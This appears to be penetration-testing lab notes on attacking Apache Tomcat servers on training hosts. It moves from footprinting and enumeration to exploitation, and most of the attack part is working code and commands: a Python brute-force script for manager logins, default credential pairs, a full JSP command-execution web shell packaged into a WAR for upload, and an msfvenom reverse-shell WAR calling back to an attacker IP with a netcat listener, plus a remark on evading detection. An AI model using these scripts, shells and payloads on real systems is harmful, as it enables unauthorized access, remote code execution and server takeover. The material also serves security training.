Tomcat Attacks

Discovery/Footprinting

curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat

general folder structure of a Tomcat installation.

├── bin
├── conf
│   ├── catalina.policy
│   ├── catalina.properties
│   ├── context.xml
│   ├── tomcat-users.xml
│   ├── tomcat-users.xsd
│   └── web.xml
├── lib
├── logs
├── temp
├── webapps
│   ├── manager
│   │   ├── images
│   │   ├── META-INF
│   │   └── WEB-INF
|   |       └── web.xml
│   └── ROOT
│       └── WEB-INF
└── work
    └── Catalina
        └── localhost

The bin folder stores scripts and binaries needed to start and run a Tomcat server
The conf folder stores various configuration files used by Tomcat.
The tomcat-users.xml file stores user credentials and their assigned roles.
The lib folder holds the various JAR files needed for the correct functioning of Tomcat. The logs and temp folders store temporary log files.
The webapps folder is the default webroot of Tomcat and hosts all the applications.
The work folder acts as a cache and is used to store data during runtime.
Each folder inside webapps is expected to have the following structure.

webapps/customapp
├── images
├── index.jsp
├── META-INF
│   └── context.xml
├── status.xsd
└── WEB-INF
    ├── jsp
    |   └── admin.jsp
    └── web.xml
    └── lib
    |    └── jdbc_drivers.jar
    └── classes
        └── AdminServlet.class

The most important file among these is WEB-INF/web.xml, which is known as the deployment descriptor
This file stores information about the routes used by the application and the classes handling these routes
All compiled classes used by the application should be stored in the WEB-INF/classes folder.
These classes might contain important business logic as well as sensitive information
Any vulnerability in these files can lead to total compromise of the website.
The lib folder stores the libraries needed by that particular application.
The jsp folder stores Jakarta Server Pages (JSP), formerly known as JavaServer Pages, which can be compared to PHP files on an Apache server.
Here’s an example web.xml file.

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
  <servlet>
    <servlet-name>AdminServlet</servlet-name>
    <servlet-class>com.inlanefreight.api.AdminServlet</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>AdminServlet</servlet-name>
    <url-pattern>/admin</url-pattern>
  </servlet-mapping>
</web-app>

The web.xml configuration above defines a new servlet named AdminServlet that is mapped to the class com.inlanefreight.api.AdminServlet.
Java uses the dot notation to create package names, meaning the path on disk for the class defined above would be:
- classes/com/inlanefreight/api/AdminServlet.class
Next, a new servlet mapping is created to map requests to /admin with AdminServlet
- This configuration will send any request received for /admin to the AdminServlet.class class for processing.
The web.xml descriptor holds a lot of sensitive information and is an important file to check when leveraging a Local File Inclusion (LFI) vulnerability.
The tomcat-users.xml file is used to allow or disallow access to the /manager and host-manager admin pages.

<?xml version="1.0" encoding="UTF-8"?>

<SNIP>
  
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary.

  Built-in Tomcat manager roles:
    - manager-gui    - allows access to the HTML GUI and the status pages
    - manager-script - allows access to the HTTP API and the status pages
    - manager-jmx    - allows access to the JMX proxy and the status pages
    - manager-status - allows access to the status pages only

  The users below are wrapped in a comment and are therefore ignored. If you
  wish to configure one or more of these users for use with the manager web
  application, do not forget to remove the <!.. ..> that surrounds them. You
  will also need to set the passwords to something appropriate.
-->

   
 <SNIP>
  
!-- user manager can access only manager section -->
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />

<!-- user admin can access manager and admin section both -->
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />


</tomcat-users>

The file shows us what each of the roles manager-gui, manager-script, manager-jmx, and manager-status provide access to.
In this example, we can see that a user tomcat with the password tomcat has the manager-gui role, and a second weak password admin is set for the user account admin

Enumeration

After fingerprinting the Tomcat instance, unless it has a known vulnerability, we'll typically want to look for the /manager and the /host-manager pages
We can attempt to locate these with a tool such as Gobuster or just browse directly to them.

gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

We may be able to either log in to one of these using weak credentials such as tomcat:tomcat, admin:admin, etc
If these first few tries don't work, we can try a password brute force attack against the login page, covered in the next section.
If we are successful in logging in, we can upload a Web Application Resource or Web Application ARchive (WAR) file containing a JSP web shell and obtain remote code execution on the Tomcat server.

Attacking Tomcat

if we can access the /manager or /host-manager endpoints, we can likely achieve remote code execution on the Tomcat server

We can use the auxiliary/scanner/http/tomcat_mgr_login

set VHOST web01.inlanefreight.local

set RPORT 8180

set stop_on_success true

set rhosts 10.129.201.58

run

We can also use this Python script to achieve the same result.

#!/usr/bin/python

import requests
from termcolor import cprint
import argparse

parser = argparse.ArgumentParser(description = "Tomcat manager or host-manager credential bruteforcing")

parser.add_argument("-U", "--url", type = str, required = True, help = "URL to tomcat page")
parser.add_argument("-P", "--path", type = str, required = True, help = "manager or host-manager URI")
parser.add_argument("-u", "--usernames", type = str, required = True, help = "Users File")
parser.add_argument("-p", "--passwords", type = str, required = True, help = "Passwords Files")

args = parser.parse_args()

url = args.url
uri = args.path
users_file = args.usernames
passwords_file = args.passwords

new_url = url + uri
f_users = open(users_file, "rb")
f_pass = open(passwords_file, "rb")
usernames = [x.strip() for x in f_users]
passwords = [x.strip() for x in f_pass]

cprint("\n[+] Atacking.....", "red", attrs = ['bold'])

for u in usernames:
    for p in passwords:
        r = requests.get(new_url,auth = (u, p))

        if r.status_code == 200:
            cprint("\n[+] Success!!", "green", attrs = ['bold'])
            cprint("[+] Username : {}\n[+] Password : {}".format(u,p), "green", attrs = ['bold'])
            break
    if r.status_code == 200:
        break

if r.status_code != 200:
    cprint("\n[+] Failed!!", "red", attrs = ['bold'])
    cprint("[+] Could not Find the creds :( ", "red", attrs = ['bold'])
#print r.status_code

This is a very straightforward script that takes a few arguments. We can run the script with -h to see what it requires to run.

python3 mgr_brute.py  -h

python3 mgr_brute.py -U http://web01.inlanefreight.local:8180/ -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt

Tomcat Manager - WAR File Upload

Many Tomcat installations provide a GUI interface to manage the application
- This interface is available at /manager/html by default, which only users assigned the manager-gui role are allowed to access.
Valid manager credentials can be used to upload a packaged Tomcat application (.WAR file) and compromise the application.
A WAR, or Web Application Archive, is used to quickly deploy web applications and backup storage.
browse to http://web01.inlanefreight.local:8180/manager/html and enter the credentials.

The manager web app allows us to instantly deploy new applications by uploading WAR files. A WAR file can be created using the zip utility
A JSP web shell such as this can be downloaded and placed within the archive.

<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp

zip -r backup.war cmd.jsp

Click on Browse to select the .war file and then click on Deploy.

This file is uploaded to the manager GUI, after which the /backup application will be added to the table.

Browsing to http://web01.inlanefreight.local:8180/backup/cmd.jsp
- will present us with a web shell that we can use to run commands on the Tomcat server

curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id

Using Metasploit

We could also use msfvenom to generate a malicious WAR file.
The payload java/jsp_shell_reverse_tcp will execute a reverse shell through a JSP file.
Browse to the Tomcat console and deploy this file.
Tomcat automatically extracts the WAR file contents and deploys it.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war

Start a Netcat listener and click on /backup to execute the shell.

nc -lnvp 4443

The multi/http/tomcat_mgr_upload Metasploit module can be used to automate the process shown above

cmd.jsp

This JSP web shell is very lightweight (under 1kb) and utilizes a Bookmarklet or browser bookmark to execute the JavaScript needed for the functionality of the web shell and user interface
Without it, browsing to an uploaded cmd.jsp would render nothing.
This is an excellent option to minimize our footprint and possibly evade detections for standard JSP web shells (though the JSP code may need to be modified a bit).

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Last updated 1 year ago

Discovery/Footprinting

Enumeration

Attacking Tomcat

Tomcat Manager - Login Brute Force

Tomcat Manager - WAR File Upload

cmd.jsp